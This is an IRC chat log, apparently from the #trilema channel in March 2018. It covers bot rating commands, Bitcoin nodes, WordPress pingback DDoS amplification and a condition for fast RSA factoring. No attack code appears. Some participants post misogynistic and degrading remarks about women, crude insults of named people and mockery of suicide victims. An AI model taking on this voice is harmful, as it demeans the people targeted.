1788236;1521471361;deedbot;diana_coman rated BingoBoingo 3 << Qntra and Pizarro ISP; moved to Uruguay for TMSR and learnt a LOT in the process; best hired hands I saw at work around in a long while
1788237;1521471427;BingoBoingo;Thank you diana_coman. I suppose I should also ratings janitor soon too.
1788238;1521471482;BingoBoingo;!!unrate assbot
1788239;1521471484;deedbot;Get your OTP: http://p.bvulpes.com/pastes/roja6/?raw=true
1788240;1521471520;BingoBoingo;!!v 61561F2B7A47D316E4A11B411D9B8A0871688F680CF390A7A4D779B34468506D
1788241;1521471521;deedbot;BingoBoingo unrated assbot.
1788242;1521471616;BingoBoingo;!!rate pete_dushenski 1 Canadian, shifted from TMSR to the periphery of a peripheral Pantsuit land
1788243;1521471619;deedbot;Get your OTP: http://p.bvulpes.com/pastes/y27Vs/?raw=true
1788244;1521471661;BingoBoingo;!!v B41F1700D831EFF45F47B9242336653DC84606F8B380D27D20BA5C03BAF94E4D
1788245;1521471662;deedbot;BingoBoingo updated rating of pete_dushenski from 3 to 1 << Canadian, shifted from TMSR to the periphery of a peripheral Pantsuit land
1788246;1521471683;BingoBoingo;!!unrate thestringpuller
1788247;1521471685;deedbot;Get your OTP: http://p.bvulpes.com/pastes/oKHF7/?raw=true
1788248;1521472022;BingoBoingo;!!v C58D8B2A9C7237230EE9378D240E1DF7353B133896062BFCE62A341D68252FDC
1788249;1521472023;deedbot;BingoBoingo unrated thestringpuller.
1788250;1521472053;BingoBoingo;!!unrate artifexd
1788251;1521472056;deedbot;Get your OTP: http://p.bvulpes.com/pastes/dERC0/?raw=true
1788252;1521472097;BingoBoingo;!!v EE8C5DBD77D7F9A44D4F74D2B93CD2C78789AD3E3AAF1159D9127EE62B8EB996
1788253;1521472098;deedbot;BingoBoingo unrated artifexd.
1788254;1521472194;BingoBoingo;!!unrate TravisPatron
1788255;1521472196;deedbot;Get your OTP: http://p.bvulpes.com/pastes/uf4RE/?raw=true
1788256;1521472228;BingoBoingo;!!v 72BBA16CDD84E737159213A3CC0F92C83975DF9BFA8E9046EF19ADCBA54517F8
1788257;1521472229;deedbot;BingoBoingo unrated TravisPatron.
1788258;1521472260;BingoBoingo;!!unrate brg444
1788259;1521472263;deedbot;Get your OTP: http://p.bvulpes.com/pastes/0KkXj/?raw=true
1788260;1521472292;BingoBoingo;!!v 2FC885A7333E675ED92789A28FEF77CB2465883670B9727580DA90B3B4531C63
1788261;1521472292;deedbot;BingoBoingo unrated brg444.
1788262;1521473511;BingoBoingo;!!unrate chalbersma
1788263;1521473514;deedbot;Get your OTP: http://p.bvulpes.com/pastes/tKmqa/?raw=true
1788264;1521473544;BingoBoingo;!!V 8666E9C000CCF005A1206514C48766F651792C9A892A8E680E63E7062A602A32
1788265;1521473545;deedbot;BingoBoingo unrated chalbersma.
1788266;1521473598;BingoBoingo;!! rate covertress -1 Palmer's Amaranth
1788267;1521473618;BingoBoingo;!!rate covertress -1 Palmer's Amaranth
1788268;1521473620;deedbot;Get your OTP: http://p.bvulpes.com/pastes/JHfBy/?raw=true
1788269;1521473685;BingoBoingo;!!v CF1F9A0B37CF054C6A04B77DEBA7D27691E119199E84D87FCD91C08EE7888762
1788270;1521473685;deedbot;BingoBoingo updated rating of covertress from 1 to -1 << Palmer's Amaranth
1788271;1521473805;asciilifeform;in other maybe-sorta-noose, turns out that there is just 1 telco remaining in usa ('tmobile') that still services mircea_popescu-style classical 1990s 'nokia' etc. pnojes. and it in turn will close down support in 2020. and ditto in europistan, asia, prolly elsewhere.
1788272;1521473850;asciilifeform;'3g' ('modern' 'progress' telco protocol) , apparently, eats less spectrum. therefore moar +ev.
1788273;1521473880;asciilifeform;and of course the 'bonus' side effect of getting the remaining recalcitrants onto nsaware touch-pnojes.
1788274;1521473898;BingoBoingo;!!rate diana_coman 5 S.MG, Republic Tech development, Reliable
1788275;1521473901;deedbot;Get your OTP: http://p.bvulpes.com/pastes/M0Jit/?raw=true
1788276;1521473932;BingoBoingo;!!v 6EFD4D3A08975865941AD6FE97286091F069C2CFC0F093A18A9AE57B9ED84068
1788277;1521473932;deedbot;BingoBoingo rated diana_coman 5 << S.MG, Republic Tech development, Reliable
1788278;1521473932;*;asciilifeform discovered '2g shutdown'(tm)(r) the hard way -- fallback modem quit working.
1788279;1521473945;asciilifeform;nomoar gsm.
1788280;1521474210;diana_coman;BingoBoingo - cheers!
1788281;1521482920;deedbot;http://qntra.net/2018/03/usg-attacks-softest-crypto-target-possible/ << Qntra - USG Attacks Softest "Crypto" Target Possible
1788282;1521485903;shinohai;!~later tell danielpbarron Please to ping me when you are able to do a simple Eulora trade, thanks!
1788283;1521485904;jhvh1;shinohai: The operation succeeded.
1788284;1521501095;deedbot;http://www.thedrinkingrecord.com/2018/03/19/naranjo-y-otras-cosas-de-mercados/ << Bingo Blog - Naranjo Y Otras Cosas de Mercados
1788285;1521520213;lobbes;ha, so for all the useful sleuthing and tips spyked provided for getting the js text selection to work my issue ended up being... I didn't have the correct path! (derp was that I forgot about my permalinks) >> http://trilema.com/2015/that-spiffy-selection-thing/#selection-145.0-147.1
1788286;1521520218;lobbes;anyways, I got js-selection working on my localhost test mp-wp. Footnotes too (which, I may say, are fun when compared to manually marking them up with <sup> tags). Now I gotta test comments, tweak aesthetics, and migrate to production. Hope to have the thing "live" this week along with post detailing notes of journey
1788287;1521521736;ben_vulpes;neato lobbes
1788288;1521521749;ben_vulpes;does archive.is not have a button for "no seriously re-archive right now"?
1788289;1521521761;ben_vulpes;i could have sworn it was there quite recently
1788290;1521521821;ben_vulpes;ah found it, gotta use the RED box
1788291;1521523051;lobbes;yeah, and it pops up a nice 'dynamic' message asking you if you reallly want to re-archive
1788292;1521523054;lobbes;which, incidentally, I'm going to need to add a hack to the archive-submit process in order to bypass. Currently is impeding the bot from auto re-archiving recently archived items
1788293;1521523645;ben_vulpes;http://pizarroisp.net/index.php/2018/02/pizarro-statement-february-2018 updated, and mircea_popescu your last comment very belatedly replied to
1788294;1521557581;diana_coman;mod6, my node has been reliably in sync (at the top) for a while; it lives (and will live) at 103.36.92.112
1788295;1521557639;diana_coman;o.O it actually reports 514385 while mimisbrunnr reports 514382
1788296;1521558489;trinque;deedbot node also topped up.
1788297;1521558814;mod6;diana_coman: hey, ok great!  I'll add it to the list of Republican Advertised Nodes then :]
1788298;1521560278;deedbot;http://qntra.net/2018/03/saif-ghaddafi-attempting-libyan-presidential-campaign-7-years-after-pantsuit-murdered-his-father-and-plunged-libya-into-chaos/ << Qntra - Saif Ghaddafi Attempting Libyan Presidential Campaign 7 Years After Pantsuit Murdered His Father And Plunged Libya Into Chaos
1788299;1521585449;asciilifeform;meanwhile, in world of entomology, http://www.metzdowd.com/pipermail/cryptography/2018-January/033741.html
1788300;1521585615;BingoBoingo;WTF Eisenhower, I live in Eisenhower's America
1788301;1521586833;trinque;"Information Domain Counter to Belt and Road" << these fucking idiots. yes, China's actual manufacturing and actual trade routes will be no match for usg.tmobile's netflix stream quality.
1788302;1521592314;BingoBoingo;!~ticker --market all
1788303;1521592320;jhvh1;BingoBoingo: Bitstamp BTCUSD last: 8900.0, vol: 12981.64521130 | Bitfinex BTCUSD last: 8883.4, vol: 53574.38173132 | Kraken BTCUSD last: 8891.0, vol: 12200.3388133 | Volume-weighted last average: 8887.31356156
1788304;1521601152;ben_vulpes;http://btcbase.org/log/2018-03-20#1788295 << yeah, first time in...weeks? i've seen it lag
1788305;1521601152;a111;Logged on 2018-03-20 14:53 diana_coman: o.O it actually reports 514385 while mimisbrunnr reports 514382
1788306;1521607683;mircea_popescu;http://btcbase.org/log/2018-03-20#1788295 << his does a strange "shadow" act periodically.
1788307;1521607683;a111;Logged on 2018-03-20 14:53 diana_coman: o.O it actually reports 514385 while mimisbrunnr reports 514382
1788308;1521607688;mircea_popescu;not entirely surew what.
1788309;1521616126;mircea_popescu;in other lulz from the everfount, https://fetlife.com/users/8126611
1788310;1521617043;mircea_popescu;http://btcbase.org/log/2018-03-20#1788301 << who the fuck is henry baker.
1788311;1521617043;a111;Logged on 2018-03-20 23:00 trinque: "Information Domain Counter to Belt and Road" << these fucking idiots. yes, China's actual manufacturing and actual trade routes will be no match for usg.tmobile's netflix stream quality.
1788312;1521617050;mircea_popescu;(some douche at mit, minor chickening around scheme, utter fucktard in all possible respects, and very much in the mit flagship sense, too)
1788313;1521618719;mircea_popescu;o also, did we do the "uber self-driving car kills woman crossing street" ?
1788314;1521619791;ben_vulpes;"paranoid-schizophrenic commits suicide by robocar"
1788315;1521619910;ben_vulpes;node that mimisbrunnr is attached to is wedged in an interesting state, going to see about a dump with gdb tomorrow
1788316;1521633895;asciilifeform;http://btcbase.org/log/2018-03-21#1788312 << not quite 'utter in all respects', did quality work on garbagecollection in 1980s
1788317;1521633895;a111;Logged on 2018-03-21 07:24 mircea_popescu: (some douche at mit, minor chickening around scheme, utter fucktard in all possible respects, and very much in the mit flagship sense, too)
1788318;1521633949;asciilifeform;even in '90s, incl the quite well known http://www.pipeline.com/~hbaker1/CheneyMTA.html item
1788319;1521633986;asciilifeform;however today he seems to mostly crackpotiferate on that 1 ml.
1788320;1521633998;asciilifeform;old age suxx.
1788321;1521634097;asciilifeform;also if anyone bothered to read the linked turd, baker is not the author, it is ocr from usg leak
1788322;1521634276;asciilifeform;http://btcbase.org/log/2018-03-21#1788309 << demands login
1788323;1521634276;a111;Logged on 2018-03-21 07:08 mircea_popescu: in other lulz from the everfount, https://fetlife.com/users/8126611
1788324;1521638343;ave1;diana_coman: http://www.dianacoman.com/2018/01/04/eucrypt-chapter-4-random-prime-number-generator/#comment-1121
1788325;1521638862;ave1;Also, self-pings did not work on nfs hosting (and probably other website hosters)
1788326;1521638870;ave1;For mp-wp.
1788327;1521638927;diana_coman;ave1, that highbit/lowbit thing is touched upon in http://www.dianacoman.com/2017/12/07/introducing-eucrypt/#selection-133.195-133.456 ; I'll look again at it though and in more detail at your suggestion, thank you
1788328;1521638927;ave1;Turns out that the pingback fix in mp-wp, will reject self-pings as the ip address does not match (backend code runs on different server than front end site)
1788329;1521638973;ave1;So the filter needs to be adjusted a little
1788330;1521638988;ave1;This is what I have now: http://wotpaste.cascadianhacker.com/pastes/NJhMO/?raw=true
1788331;1521639039;ave1;I'm logging the pings, to check how I can enumerate the good sites
1788332;1521639084;diana_coman;ave1, and the trouble with changing stuff in mpi is that one needs to track afterwards ALL calls/uses of that code; I was rather avoiding changing mpi unless I really really needed
1788333;1521639090;diana_coman;needed to*
1788334;1521639195;ave1;diana_coman: I can understand!
1788335;1521639402;diana_coman;found it: http://www.dianacoman.com/2017/12/28/eucrypt-chapter-3-miller-rabin-implementation/#selection-169.0-169.1019 <- ave1
1788336;1521639675;diana_coman;ave1 I really appreciate your scrutiny of eucrypt - keep it up! :)
1788337;1521639810;ave1;no problem! I'm working on a command line tool with eucrypt and I keep hitting my head against seemingly strange code. Which needs to be read and re-read, and then checked.
1788338;1521639979;ave1;Also the terminology of high/low, leading/trailing, bits/limbs/octets etc. keeps tripping me up. The limbs are stored low to high, wich means 0 is trailing, n is leading.
1788339;1521640042;diana_coman;I feel your pain: it's insane-mpi for sure
1788340;1521640203;mod6;diana_coman: Alright, your node has been added her: http://thebitcoin.foundation/trusted-nodes.html (Advertised Republican Nodes)
1788341;1521640209;mod6;Thanks!
1788342;1521640218;diana_coman;yay, thanks mod6 !
1788343;1521640332;mod6;you're very welcome :]
1788344;1521640848;mircea_popescu;http://btcbase.org/log/2018-03-21#1788314 << no but see, the way i understand it, the whole appeal of the entire usg.robocar concept is that it removes human agency wrt traffic oucomes. if this illusion is not sustainable "why bother" as per usg.logic. discussing the event in terms of characteristics of the victim, ESPECIALLY in that "suicide" direction, cements defeat in this logic.
1788345;1521640848;a111;Logged on 2018-03-21 08:09 ben_vulpes: "paranoid-schizophrenic commits suicide by robocar"
1788346;1521640865;mircea_popescu;they shouldn't "have been able to", and the more "insane" THE MORE SO, not the less so.
1788347;1521640891;mircea_popescu;this isn't a rational, reality-bound, economics-driven process, after all. pure hallucinatoria, just add verbiage.
1788348;1521640946;mircea_popescu;http://btcbase.org/log/2018-03-21#1788321 << yaya okok, he didn't do it and wasn't even there. ml is a terrifyingly horrible medium, as it turns out.
1788349;1521640946;a111;Logged on 2018-03-21 12:08 asciilifeform: also if anyone bothered to read the linked turd, baker is not the author, it is ocr from usg leak
1788350;1521641482;mircea_popescu;http://btcbase.org/log/2018-03-21#1788322 << ah i forgot, these are the security pantsuit.  http://p.bvulpes.com/pastes/XXkvW/?raw=true (the best part, other than the lulzy failed jay-z appearance, is the "hard limit : bruises" worldview. mutha srsly thinks "i've never been punched" is a sustainable lifestyle for the "politically involved", and actively prefers to have never seen http://trilema.com/wp-content/themes/trilema/i
1788351;1521641482;a111;Logged on 2018-03-21 12:11 asciilifeform: http://btcbase.org/log/2018-03-21#1788309 << demands login
1788352;1521641482;mircea_popescu;mages/antifa.gif
1788353;1521641497;mircea_popescu;http://trilema.com/wp-content/themes/trilema/images/antifa.gif )
1788354;1521641518;mircea_popescu;talk about male-to-female transitioning, that's it right there.
1788355;1521641679;mircea_popescu;reading ave1 's comment on diana_coman 's blog i realise that besides the common t/d substitution rampant here, there's also an exotic substitution, p for b!
1788356;1521641703;mircea_popescu;i fucking hope it's not catching, god help me if i end up learning dislexyas from the internets.
1788357;1521641835;mircea_popescu;http://btcbase.org/log/2018-03-21#1788325 << from what i understand they don't work on nfs because nfs is broken by design (alf tho thinks this is not a bug but a feature, something in the vein of "if you deliberately break the lock on your mailbox, you may miss out on some mail, it's true, but you can always claim in court you never got their papers" or such).
1788358;1521641835;a111;Logged on 2018-03-21 13:27 ave1: Also, self-pings did not work on nfs hosting (and probably other website hosters)
1788359;1521641958;asciilifeform;http://btcbase.org/log/2018-03-21#1788355 << lol, korea
1788360;1521641958;a111;Logged on 2018-03-21 14:14 mircea_popescu: reading ave1 's comment on diana_coman 's blog i realise that besides the common t/d substitution rampant here, there's also an exotic substitution, p for b!
1788361;1521641973;asciilifeform;iirc p/b, t/d, g/k, r/l
1788362;1521642000;mircea_popescu;http://btcbase.org/log/2018-03-21#1788328 << this is there because of the whole http://trilema.com/2014/o-hai-let-me-wanna-be/ ; the short story being that if you don't check whether the ip of the ping-announcer matches the ip of the supposed ping sender, you turn your wordpress installation into a DDoS amplifier whereby one can (and plenty DO, there's lists published on trilema periodically, can dig up if you wish) have your
1788363;1521642000;a111;Logged on 2018-03-21 13:28 ave1: Turns out that the pingback fix in mp-wp, will reject self-pings as the ip address does not match (backend code runs on different server than front end site)
1788364;1521642000;mircea_popescu; server load soem deisgnated victim's pages for a cost of one ~100 byte packet.
1788365;1521642016;mircea_popescu;asciilifeform it's a scandal!
1788366;1521642271;mircea_popescu;http://btcbase.org/log/2018-03-21#1788331 << whitelist-only pinging might well be an improvement on the current situation worth discussing. so on the basis of trilema experience :
1788367;1521642271;a111;Logged on 2018-03-21 13:30 ave1: I'm logging the pings, to check how I can enumerate the good sites
1788368;1521642308;mircea_popescu;the advantage of the current system (anyone can ping, ips must match, not seen before sources go in mod queue) is that anyone can just ping, without prior arrangement.
1788369;1521642367;asciilifeform;http://btcbase.org/log/2018-03-21#1788357 << it is 'broken' like this : you don't get a box (or even virtual box) with a particular ip, on nfs co, but rather a thing reminiscent of crapflare (but built ~20yrs prior) where the dns resolves as ip x for some loads, ip y for others, etc. so as to spread the ddosolade around. ( somewhat surprisingly, it actually worx -- eats multi-GB without coughing )
1788370;1521642367;a111;Logged on 2018-03-21 14:17 mircea_popescu: http://btcbase.org/log/2018-03-21#1788325 << from what i understand they don't work on nfs because nfs is broken by design (alf tho thinks this is not a bug but a feature, something in the vein of "if you deliberately break the lock on your mailbox, you may miss out on some mail, it's true, but you can always claim in court you never got their papers" or such).
1788371;1521642384;mircea_popescu;this advantage is however massively moderated by the sheer lunatic imbecility of english speakers, whereby i do not think it has happened yet that five people actually linked to an article on trilema without prior arrangement, such as their having a wot presence etc. there's one exception that comes to mind, some dood running a "dark underground" or w/e blog. this OVER TEN YEARS nigh on.
1788372;1521642419;mircea_popescu;the disadvantage, and it is marked, is that there's an endless supply of "independent" and hallucinatorily "free" imbeciles, and EACH AND EVERY ONE will have to try foisting any idiotic little scheme from the annals of ancient schemes upon the entire world.
1788373;1521642452;mircea_popescu;as a result, trilema answers xmlrpc.php calls to the tune of ten a second every second, every day of every week of ever year. there's many many millions each month, no exception to date.
1788374;1521642481;mircea_popescu;and they'll do it 1mn times per ip, no problem, they just set up the script, until the host kicks them off they literally don't care about anything.
1788375;1521642495;mircea_popescu;what "look and see if my idiocy works" ?!?! that's practically racism.
1788376;1521642522;mircea_popescu;now, if xmlrpc.php had a whitelist, something as simple as a htaccess deny from all allow from x, this whole idiocy would go away.
1788377;1521642546;mircea_popescu;the disadvantage, of course, is that you have to now police a private, hand-cobbled dns, because ips change.
1788378;1521642558;mircea_popescu;which is why i've not done it to date.
1788379;1521642609;asciilifeform;probably easier to manually curate a list of friendly items that linked to yours, and dispense with the wp automagic ping thing
1788380;1521642623;mircea_popescu;i loathe to curate anything by hand.
1788381;1521642653;mircea_popescu;point in case -- you think you can curate by hand a list of friends, yet your "blogroll" is perpetually out of date ; i don't have one nor ever had one for this exact reason, i ain't handcurating jack.
1788382;1521642681;mircea_popescu;whole fucking point of even having computers is to not curate things by hand.
1788383;1521642757;mircea_popescu;ave1 that all make sense ?
1788384;1521642786;ave1;Yes indeed! Also about the curating
1788385;1521642815;mircea_popescu;what i would REALLY like would be a pill whereby something spawned forth by cunt speaking english is NO LONGER this fundamentally idiotic moron who simply can not engage the world.
1788386;1521642845;mircea_popescu;go talk to a girl and ping a blog, motherfuckers, jesus fucking christ on a cracker they LIED TO YOU, it's immoral NOT TO! you don't catch anything from sticking it into the wet sight unseen.
1788387;1521642853;mircea_popescu;you catch stupid by FOREGOING that sticking!
1788388;1521642886;*;mircea_popescu has seen some tourists over the arbitrary weekend and it's given me a right and proper crise de la foie.
1788389;1521642917;ave1;bbl, dentist
1788390;1521643108;mircea_popescu;http://btcbase.org/log/2018-03-21#1788339 << i can't tell you how annoying it is that mpi starts with mp.
1788391;1521643108;a111;Logged on 2018-03-21 13:47 diana_coman: I feel your pain: it's insane-mpi for sure
1788392;1521643293;mircea_popescu;aand to keep up with the historical lulz, in re http://btcbase.org/log/2018-03-08#1787189 there's of course http://p.bvulpes.com/pastes/woAj5/?raw=true
1788393;1521643293;a111;Logged on 2018-03-08 00:21 mircea_popescu: this entire exercise in idiocy has, practically speaking, resulted in me paying various hard working ticos a grand or so, to the people fucking in the ass the "security" paradigm of pantsuit.fetlife. IN LIEU of having paid that much, and rather more, to the fetlife itself.
1788394;1521643300;mircea_popescu;did i mention scripts can do anything ?
1788395;1521644041;asciilifeform;in other quasi-noose, if n is p*q, and 4p-1 = d*b^2, where b is integer and d is in {3,11,19,43,67,163}, n is factorable in polynomial time (with modest constant!)
1788396;1521644079;mircea_popescu;ha!
1788397;1521644121;asciilifeform;( proof lives sadly in this : https://eprint.iacr.org/2002/109.pdf turd )
1788398;1521644135;mircea_popescu;asciilifeform incidentally this is exactly the general formula i'd expect of nsa sponsored holes in rsa. p = a * x ^ b
1788399;1521644157;asciilifeform;mircea_popescu: it's the kind of thing described by shamir and lenstra for 'evil prime generator'
1788400;1521644165;mircea_popescu;quite equivalent yes.
1788401;1521644172;asciilifeform;the notable bit is that it does not fall into any of the previously documented classes
1788402;1521644175;asciilifeform;( e.g. pollard's )
1788403;1521644192;diana_coman;http://btcbase.org/log/2018-03-21#1788390 <- good it ends with i at least, then
1788404;1521644192;a111;Logged on 2018-03-21 14:38 mircea_popescu: http://btcbase.org/log/2018-03-21#1788339 << i can't tell you how annoying it is that mpi starts with mp.
1788405;1521644200;mircea_popescu;in fact and rather transparently, the whole "secret curve" pseudocryptography is a direct result of all the nsa time spent chasing those a and b (no b doesn't HAVE TO BE 2, just as long as you know how you round it can also be a real)
1788406;1521644241;mircea_popescu;after having idiots driven through the deserts for 20 years over at "secret labs", something like EC is a necessary byproduct just for the sake of maintaining whatever shreds of sanity.
1788407;1521644249;asciilifeform;i like how asciilifeform doesn't have to elaborate, mircea_popescu instantly grasped the boojum. almost as good as telepathy!11
1788408;1521644259;mircea_popescu;much like original zeks kept habits of making figurines out of bread or whittling pine or w/e long into the 70s.
1788409;1521644301;asciilifeform;needless to say cheng's 4p-1 is getting added to phuctor as soon as it stands back up.
1788410;1521644308;mircea_popescu;asciilifeform this sort of telepatyh when http://btcbase.org/log/2016-02-21#1411615
1788411;1521644308;a111;Logged on 2016-02-21 02:14 mircea_popescu: (and for the record i will point out that tlp is anglotard enough to miss most of the substance. there's perfecty good reason everyone painted the same god damned vase with two apples next to it, and this has little do to with "you're not boring son ok" and a lot of fucking things to do with ... damn, where's that thread about ther ancient battlefield ?
1788412;1521644318;asciilifeform;if there were a place to take bets, could take best on how many pop, lol
1788413;1521644330;asciilifeform;mircea_popescu: aha
1788414;1521644659;asciilifeform;btw for anybody who hasn't grasped yet, n can have as many prime factors as you want. (e.g. P(phuctorade-set) say)
1788415;1521644711;asciilifeform;there's prolly an ideal batch size where the arithmetic still fits in cache, which it'd make sense to use. but this is a detail for later.
1788416;1521646850;deedbot;http://qntra.net/2018/03/ledger-hardware-wallet-backdoored-by-child-who-releases-proof-of-concept-attack/ << Qntra - Ledger "Hardware Wallet" Backdoored By Child Who Releases Proof Of Concept Attack
1788417;1521648175;mircea_popescu;lel
1788418;1521648280;BingoBoingo;Now the determination to refer to the discoverer as a child is related to his doing interesting things without a WoT presence, not because the fellow says he is 15
1788419;1521648497;mircea_popescu;meanwhile in other lulz, https://www.google.com/search?q=Nikol33cr%40gmail.com https://www.google.com/search?q=Valeria23cr%40gmail.com https://www.google.com/search?q=Karina19cr%40gmail.com
1788420;1521648518;mircea_popescu;imagine, the dork actually automated gmail signup process in order to beg for... phone charges.
1788421;1521648530;mircea_popescu;if this doesn't have a strong perfume of original hackertude about it i dunno what does.
1788422;1521648764;BingoBoingo;Latino enginudity
1788423;1521648830;BingoBoingo;Meanwhile catching up on dispatches from mines back in the old country: "The side effects can be brutal. One medication exacerbated my depression and I ended up trying to take my own life. Immediately, while I was still in critical care, each of my three children’s fathers filed emergency petitions and took the kids."
1788424;1521648938;mircea_popescu;dude... why is item with children with by three fathers not chained to a post somewhere. wtf get it off the internets.
1788425;1521649137;BingoBoingo;I blame Lincoln and Victoria
1788426;1521650296;ben_vulpes;!~ticker --market all
1788427;1521650303;jhvh1;ben_vulpes: Bitstamp BTCUSD last: 8871.71, vol: 12909.92403708 | Bitfinex BTCUSD last: 8860.0, vol: 48324.82676929 | Kraken BTCUSD last: 8870.0, vol: 11577.2398336 | Volume-weighted last average: 8863.6662589
1788428;1521650487;mircea_popescu;meanwhile in fearless genii, http://zimbuzz.co.zw/2017/10/09/kikky-badass-queen-of-the-south-album/
1788429;1521650605;mircea_popescu;("sir" wicknell is a legitimate us/ru-style businessman, zimbabwe govt also "awards" contracts)
1788430;1521650673;mircea_popescu;"Like a bad ass she is, she proved to be wise beyond her years by standing head and shoulders (Or is it ass-tall) with the boys." doesn't even INTEND irony, you realise.
1788431;1521650708;lobbes;"produced by one of Africa’s best producers WizzyProbeatz" lol. Whocouldforget
1788432;1521650761;mircea_popescu;https://www.herald.co.zw/chivayo-prosecution-imminent/ etc
1788433;1521650815;ben_vulpes;"queen of the south" album cover bears a striking resemblance to pussy
1788434;1521650862;mircea_popescu;at least they're trying. "orcs trying" is becoming quite the lulzmine trope.
1788435;1521651293;deedbot;http://qntra.net/2018/03/usg-whispers-pleas-of-war-on-terror-and-special-operations-command-in-mikrotik-router-shitware-case/ << Qntra - USG Whispers Pleas Of "War On Terror" And "Special Operations Command" In MikroTik Router Shitware Case
1788436;1521654320;deedbot;http://trilema.com/2018/where-eagles-date/ << Trilema - Where eagles date
1788437;1521656477;mircea_popescu;in other random, shopping girl returns bearing shopping items ; among there included, a plunger.
1788438;1521656486;mircea_popescu;in this language, it is called ... DESTUPIDOR
1788439;1521656492;mircea_popescu;if only it fucking worked jaysus.
1788440;1521656533;*;asciilifeform at one time tried to make a 'destupidator', even had the .com regged
1788441;1521656810;mircea_popescu;did it consist of a little rubber on a stick ?
1788442;1521656929;asciilifeform;thatd've worked better, lol
1788443;1521658117;mod6;<+mircea_popescu> if only it fucking worked jaysus. << lol!
1788444;1521658936;mircea_popescu;word.
1788445;1521671149;asciilifeform;meanwhile, in unusually-lively amerifolx, https://archive.is/xWRiV
1788446;1521671233;asciilifeform;'Authorities were outside the hotel early Wednesday when Conditt got in his vehicle and drove away. They followed him until he pulled into a ditch and blew himself up, police said. The blast injured a SWAT officer.' etc
1788447;1521671505;mircea_popescu;nitroglycerin : better use too much lest you risk using too little.
1788448;1521671629;*;asciilifeform wonders if the tight little red bag around d00d's head is standard police kit nao
1788449;1521671656;asciilifeform;(or possibly was ordinary white shopping bag when new, lol)
1788450;1521672364;mircea_popescu;in other news, people actually inquire with google re "russian billionaire email address loc ru" and such. in english and everything. then google points them... to me.
1788451;1521672477;mircea_popescu;strictly unplumbable, the depts of the idiocy of the contemporaneous subhuman. that they actually fucking believe the skinner box takes input is one thing ; but that they imagine it will produce food for them, rather than eat it itself ?! what, all that's missing is the correct incantation ?
1788452;1521672514;mircea_popescu;idiots biologically unfit to the world as it presented itself 1mya, that's how far this "security and respect" paradigm sunk us.
1788453;1521675751;hanbot;so nearlyfreespeech hosting's insistence on using buttpay plays out like so: thewhet.net is offline, i can't make a payment to get it back online (precious addy must stay at home and hide under the blankets!!1), and i can't talk to 'em, cause low and behold the support subscription (which i'd been paying for for many months) expired so my ticket is pegged for the trash, please pay to talk into the clownmouth.
1788454;1521675902;*;asciilifeform admits to never having attempted paying'em in btc
1788455;1521675916;mircea_popescu;so wait, uh
1788456;1521675928;asciilifeform;they only recently began to claim to eat btc, recall
1788457;1521675932;mircea_popescu;basically they scammed you out of whatever, three months' work or w/e, exactly like facebook or whoever ?
1788458;1521676063;hanbot;wtf does "i'll try this out" even mean in the broad world these days aside from "i guess i'll see how x would like to fuck me over"
1788459;1521676099;*;hanbot is livid, mostly at self for having used anything buttpay supportive in the first place.
1788460;1521676101;mircea_popescu;tsk.
1788461;1521676133;mircea_popescu;ben_vulpes can that vps thing be live already before everyone has to waste EVEN MORE TIME down the imperial drain already ?
1788462;1521676227;mircea_popescu;asciilifeform the reason they even need "ddos protection" is, for what it's work, RIGHT FUCKING HERE.
1788463;1521676261;mircea_popescu;very much a case of ye olde "i'll gladly spend thousands to fuck you up if you're not willing to take pennies to suck my cock". makes perfect sense, dunnit ?
1788464;1521676280;asciilifeform;i suspect stupidity (and re how long d00d's been in biz -- senility) as explanation. shitpay offered hook, nfsco -- bit
1788465;1521676305;mircea_popescu;the part where you leave customers unsupported is not anything to do with bitpay.
1788466;1521676337;asciilifeform;they don't cost ~1% of what similar item costs from other vendors because martians work for'em for free...
1788467;1521676356;asciilifeform;faq pretty clearly (last i read it, coupla yrs back) spelled out what they skimp on.
1788468;1521676371;hanbot;mircea_popescu> the part where you leave customers unsupported is not anything to do with bitpay. << right, that's fucking DMV-level villainy.
1788469;1521676400;mircea_popescu;it's 100% pantsuitism, very much the only half-working attempt to enact the whole http://trilema.com/2018/the-problem-with-christians/#selection-61.0-65.669 into the world.
1788470;1521676407;mircea_popescu;"your account was forgiven"
1788471;1521676418;asciilifeform;it's the 'uber' variant of pantsuitism. ~whole thing is robot.
1788472;1521676440;mircea_popescu;"it earnestly repented and... here we are"
1788473;1521676608;asciilifeform;btw hanbot looks like yer domain expired ?! was it regged through nfsco ?
1788474;1521676626;asciilifeform;because if so, their refusal to answer call to rereg it is iirc a violation of their imperial dns charter
1788475;1521676638;asciilifeform;you could probably 'make thousand problem' for'em cheaply.
1788476;1521676719;hanbot;it's not even the shitpay hook or the nonsupport in themselves, abhorrent as they are. it's their marriage, wtf is "maybe not reallybut" doing in a yes/no switch.
1788477;1521676775;hanbot;asciilifeform nah, it's bw drainage > "no funds in account". domain registered long ago somewhere else.
1788478;1521676785;asciilifeform;odd, i get a 'no resolve'
1788479;1521677621;BingoBoingo;asciilifeform: "no resolve" sounds like a side effect of the DNS settings allowing NFS to do its thing not pointing at an NFS doing its thing as advertised
1788480;1521682125;deedbot;http://qntra.net/2018/03/five-years-later-omidyars-snowden-trickle-catching-up-to-trilema-report-on-nsa-in-bitcoin/ << Qntra - Five Years Later Omidyar's Snowden Trickle Catching Up To Trilema Report On NSA In Bitcoin
1788481;1521682432;mircea_popescu;heh.
1788482;1521682885;BingoBoingo;Amazing how these things break
1788483;1521699077;mircea_popescu;BingoBoingo ftr, it's euphEmisms and venezuEla. are your voewls shifting from all the tuna you're eating or what!
1788484;1521708727;douchebag;Alright, I still haven't written a V implementation. I would like to help, however programming is not my main area of expertise. I feel like writing a V implementation would not waste my time, but yours as well considering d
1788485;1521708767;douchebag;others have written V implementations that would be much better than the one I would write.
1788486;1521714416;mircea_popescu;you're a twenty year old, what "area of expertise".
1788487;1521714600;douchebag;I've been focused on web application security for the past decade, just becase I'm only 20 doesn't mean I'm not skilled.
1788488;1521714666;mircea_popescu;whether you're skilled or not has no bearing on this whole "area of expertise" nonsense. i've been writing for twenty years, doesn't mean i'll sit with my laptop while the girls eat each other out because fucking "isn't my area of expertise".
1788489;1521714686;mircea_popescu;the whole point, not just of the "write a v" task, but of the republic altogether, is to make this sort of non-thinking you're going for both ridiculous and impossible.
1788490;1521714754;mircea_popescu;i get it, it's hard and especially unpleasant in that it requires your getting off your ass, and god forbid confronting the unpleasant side of things. hurr.
1788491;1521714845;douchebag;It would not be unpleasant if it had not already been done before multiple times, what's the point of reinventing the wheel?
1788492;1521714868;mircea_popescu;that it will force you to abandon your current mental rut. hopefully before it does any permanent damage.
